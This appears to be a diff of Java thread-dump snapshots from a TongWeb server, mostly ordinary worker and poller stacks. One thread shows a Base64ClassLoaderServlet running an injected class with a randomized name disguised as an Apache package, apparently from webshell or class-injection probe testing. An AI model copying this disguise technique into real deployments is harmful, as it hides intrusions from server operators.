sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) - at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:499) - at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48) - at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:73) - at java.lang.Thread.run(Thread.java:750) - -"GC Daemon" #30 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6f15822b - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at sun.misc.GC$Daemon.run(GC.java:117) - -"TW-periodic-10" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 +"TW-Console-Scheduled-4" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37cef29e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -337,23 +322,37 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"TW-0.0.0.0-8080-1" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-periodic-6" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 +"TW-0.0.0.0-9060-2" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16dc07ea java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Thread-5" #23 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 +"TW-Server-Thread-4" #22 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -365,14 +364,7 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@3a7cd4eb - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) - at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) - -"TW-periodic-3" #75 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 +"TW-Console-Scheduled-2" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37cef29e java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) @@ -382,10 +374,14 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-periodic-4" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 +"TW-Timer-Cache" #16 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.server.util.Utils$b$a.run(Unknown Source) + +"TW-Server-Scheduled-8" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -395,47 +391,72 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-8" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 +"TW-periodic-1" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-periodic-9" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 +"TW-Server-Thread-6" #24 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-ClientPoller" #86 daemon [RUNNABLE] +"TW-0.0.0.0-8080-BlockPoller" #32 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1316) + at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:295) + +"TW-0.0.0.0-8080-Acceptor" #81 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:499) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48) + at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:73) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Thread-3" #21 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 +"TW-0.0.0.0-8080-7" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-LogWriting" #17 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.logger.impl.core.WritingThread.run(Unknown Source) + +"TW-Console-Thread-1" #89 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c28832b java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -447,7 +468,7 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"TW-Console-Scheduled-1" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67bd70cb +"TW-Console-Scheduled-3" #101 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37cef29e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -459,29 +480,32 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-9060-Acceptor" #72 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) - at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:499) - at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48) - at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:73) +"TW-Console-Scheduled-1" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37cef29e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Thread-10" #28 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 +"TW-periodic-7" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) - at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) - at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Scheduled-5" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 +"TW-Server-Scheduled-4" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -493,7 +517,7 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-9060-3" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b +"TW-0.0.0.0-8080-8" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -507,7 +531,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Scheduled-8" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 +"TW-Server-Scheduled-2" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -519,7 +543,7 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Scheduled-2" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 +"TW-Server-Scheduled-6" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -531,59 +555,111 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-9" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 +"TW-Console-Thread-2" #90 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6c28832b java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"TW-periodic-6" #84 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Thread-6" #24 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 +"TW-0.0.0.0-9060-ClientPoller" #65 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1316) + at java.lang.Thread.run(Thread.java:750) + +"TW-periodic-4" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) - at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) - at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Scheduled-7" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 +"TW-0.0.0.0-8080-2" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) + at java.lang.Thread.run(Thread.java:750) + +"TW-Server-Thread-2" #20 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-1" #76 daemon [RUNNABLE] +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6c35eff4 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"TW-0.0.0.0-8080-10" #79 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at java.lang.Thread.dumpThreads(Native Method) at java.lang.Thread.getAllStackTraces(Thread.java:1615) - at org.apache.commons.lang.wYwFB.ErrorHandler.toString(BasicInfoPrinter.java:26) + at org.apache.http.client.XrRHt.ErrorCwgltHandler.toString(BasicInfoPrinter.java:26) at java.lang.String.valueOf(String.java:2994) at com.tongweb.server.connector.CoyoteWriter.print(CoyoteWriter.java:237) at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) at com.tongweb.server.core.ApplicationFilterChain.enterApp(ApplicationFilterChain.java:365) at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235) at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:196) + at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161) at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:32) at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:196) at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161) - at EmptyFilter.doFilter(EmptyFilter.java:21) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:196) + at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) at com.tongweb.server.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:196) at com.tongweb.server.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:161) at com.tongweb.server.core.StandardWrapperValve.invoke(StandardWrapperValve.java:146) @@ -605,41 +681,21 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-9060-BlockPoller" #31 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:295) - -"TW-LogWriting" #17 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.tongweb.logger.impl.core.WritingThread.run(Unknown Source) - -"TW-periodic-2" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 +"TW-0.0.0.0-9060-5" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16dc07ea java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@d6c408c - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at 